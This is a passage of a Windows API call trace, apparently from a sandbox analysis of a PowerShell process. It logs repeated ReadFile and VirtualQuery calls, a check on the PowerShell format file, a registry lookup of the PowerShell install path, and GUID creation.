lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.173] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.173] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.173] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.173] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.173] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.173] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.174] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.176] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.176] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.176] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.176] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.177] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.177] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.178] SetErrorMode (uMode=0x1) returned 0x1 [0043.178] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d360 | out: lpFileInformation=0x24d360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e51ae9, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e51ae9, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e9c3af, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0043.179] SetErrorMode (uMode=0x1) returned 0x1 [0043.179] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0043.179] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d448 | out: phkResult=0x24d448*=0x308) returned 0x0 [0043.179] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d3cc, lpData=0x0, lpcbData=0x24d3c8*=0x0 | out: lpType=0x24d3cc*=0x1, lpData=0x0, lpcbData=0x24d3c8*=0x56) returned 0x0 [0043.179] CoTaskMemAlloc (cb=0x5a) returned 0x1b9c7fe0 [0043.179] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d39c, lpData=0x1b9c7fe0, lpcbData=0x24d398*=0x56 | out: lpType=0x24d39c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d398*=0x56) returned 0x0 [0043.179] CoTaskMemFree (pv=0x1b9c7fe0) [0043.179] RegCloseKey (hKey=0x308) returned 0x0 [0043.179] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0043.188] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x3ccece19, Data2=0x3469, Data3=0x4d1b, Data4=([0]=0xb5, [1]=0xf8, [2]=0x32, [3]=0xec, [4]=0x88, [5]=0xf8, [6]=0x57, [7]=0xf9))) returned 0x0 [0043.188] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xa6e0fbe8, Data2=0x8ccf, Data3=0x471c, Data4=([0]=0xb2, [1]=0x54, [2]=0x40, [3]=0x65, [4]=0x55, [5]=0x7c, [6]=0x85, [7]=0x4e))) returned 0x0 [0043.218] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x153d3eae, Data2=0xab36, Data3=0x4ff4, Data4=([0]=0x8d, [1]=0x97, [2]=0x40, [3]=0x68, [4]=0x6f, [5]=0x38, [6]=0xb, [7]=0xf0))) returned 0x0 [0043.219] VirtualQuery (in: lpAddress=0x24b680, lpBuffer=0x24c540, dwLength=0x30 | out: lpBuffer=0x24c540*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.220] VirtualQuery (in: lpAddress=0x24b710, lpBuffer=0x24c5d0, dwLength=0x30 | out: lpBuffer=0x24c5d0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.220] VirtualQuery (in: lpAddress=0x24be90, lpBuffer=0x24cd50, dwLength=0x30 | out: lpBuffer=0x24cd50*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.221] VirtualQuery (in: lpAddress=0x24be90, lpBuffer=0x24cd50, dwLength=0x30 | out: lpBuffer=0x24cd50*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.221] VirtualQuery (in: lpAddress=0x24be90, lpBuffer=0x24cd50, dwLength=0x30 | out: lpBuffer=0x24cd50*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.222] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.222] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.223] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.223] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.224] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.224] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.224] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.224] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.225] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.225] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.225] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.225] VirtualQuery (in: lpAddress=0x24bac0, lpBuffer=0x24c980, dwLength=0x30 | out: lpBuffer=0x24c980*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.225] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.226] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.226] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.226] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.226] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xe03eee3c, Data2=0xb3c9, Data3=0x48d6, Data4=([0]=0xb1, [1]=0x8e, [2]=0xcf, [3]=0x1f, [4]=0x8c, [5]=0x87, [6]=0xd0, [7]=0xb0))) returned 0x0 [0043.227] VirtualQuery (in: lpAddress=0x24be90, lpBuffer=0x24cd50, dwLength=0x30 | out: lpBuffer=0x24cd50*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.227] VirtualQuery (in: lpAddress=0x24be90, lpBuffer=0x24cd50, dwLength=0x30 | out: lpBuffer=0x24cd50*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.227] VirtualQuery (in: lpAddress=0x24be90, lpBuffer=0x24cd50, dwLength=0x30 | out: lpBuffer=0x24cd50*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.227] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.228] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.228] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.228] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.228] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.228] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.229] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.229] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.229] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.229] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.229] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.230] VirtualQuery (in: lpAddress=0x24bac0, lpBuffer=0x24c980, dwLength=0x30 | out: lpBuffer=0x24c980*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.230] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.231] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.231] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.231] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.231] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xedffe4c3, Data2=0x9109, Data3=0x41e5, Data4=([0]=0x93, [1]=0x77, [2]=0x55, [3]=0xe8, [4]=0xbd, [5]=0x7, [6]=0x3e, [7]=0x3d))) returned 0x0 [0043.231] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x7ca9a6e7, Data2=0x4332, Data3=0x4ccd, Data4=([0]=0x82, [1]=0x85, [2]=0xc7, [3]=0x28, [4]=0xa8, [5]=0x98, [6]=0x26, [7]=0x99))) returned 0x0 [0043.232] VirtualQuery (in: lpAddress=0x24b4f0, lpBuffer=0x24c3b0, dwLength=0x30 | out: lpBuffer=0x24c3b0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.232] VirtualQuery (in: lpAddress=0x24b4f0, lpBuffer=0x24c3b0, dwLength=0x30 | out: lpBuffer=0x24c3b0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.232] VirtualQuery (in: lpAddress=0x24b580, lpBuffer=0x24c440, dwLength=0x30 | out: lpBuffer=0x24c440*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.232] VirtualQuery (in: lpAddress=0x24b4f0, lpBuffer=0x24c3b0, dwLength=0x30 | out: lpBuffer=0x24c3b0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.233] VirtualQuery (in: lpAddress=0x24b580, lpBuffer=0x24c440, dwLength=0x30 | out: lpBuffer=0x24c440*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.233] VirtualQuery (in: lpAddress=0x24b4f0, lpBuffer=0x24c3b0, dwLength=0x30 | out: lpBuffer=0x24c3b0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.233] VirtualQuery (in: lpAddress=0x24b580, lpBuffer=0x24c440, dwLength=0x30 | out: lpBuffer=0x24c440*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.233] VirtualQuery (in: lpAddress=0x24b4f0, lpBuffer=0x24c3b0, dwLength=0x30 | out: lpBuffer=0x24c3b0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.233] VirtualQuery (in: lpAddress=0x24b580, lpBuffer=0x24c440, dwLength=0x30 | out: lpBuffer=0x24c440*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.234] VirtualQuery (in: lpAddress=0x24b4f0, lpBuffer=0x24c3b0, dwLength=0x30 | out: lpBuffer=0x24c3b0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.234] VirtualQuery (in: lpAddress=0x24b580, lpBuffer=0x24c440, dwLength=0x30 | out: lpBuffer=0x24c440*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.234] VirtualQuery (in: lpAddress=0x24b4f0, lpBuffer=0x24c3b0, dwLength=0x30 | out: lpBuffer=0x24c3b0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.234] VirtualQuery (in: lpAddress=0x24b580, lpBuffer=0x24c440, dwLength=0x30 | out: lpBuffer=0x24c440*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.235] VirtualQuery (in: lpAddress=0x24bf90, lpBuffer=0x24ce50, dwLength=0x30 | out: lpBuffer=0x24ce50*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.235] VirtualQuery (in: lpAddress=0x24bf90, lpBuffer=0x24ce50, dwLength=0x30 | out: lpBuffer=0x24ce50*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.236] VirtualQuery (in: lpAddress=0x24bf90, lpBuffer=0x24ce50, dwLength=0x30 | out: lpBuffer=0x24ce50*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.236] VirtualQuery (in: lpAddress=0x24bf90, lpBuffer=0x24ce50, dwLength=0x30 | out: lpBuffer=0x24ce50*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.236] VirtualQuery (in: lpAddress=0x24b680, lpBuffer=0x24c540, dwLength=0x30 | out: lpBuffer=0x24c540*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.236] VirtualQuery (in: lpAddress=0x24b710, lpBuffer=0x24c5d0, dwLength=0x30 | out: lpBuffer=0x24c5d0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.237] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.237] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.237] VirtualQuery (in: lpAddress=0x24bdf0, lpBuffer=0x24ccb0, dwLength=0x30 | out: lpBuffer=0x24ccb0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.237] VirtualQuery (in: lpAddress=0x24be80, lpBuffer=0x24cd40, dwLength=0x30 | out: lpBuffer=0x24cd40*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, 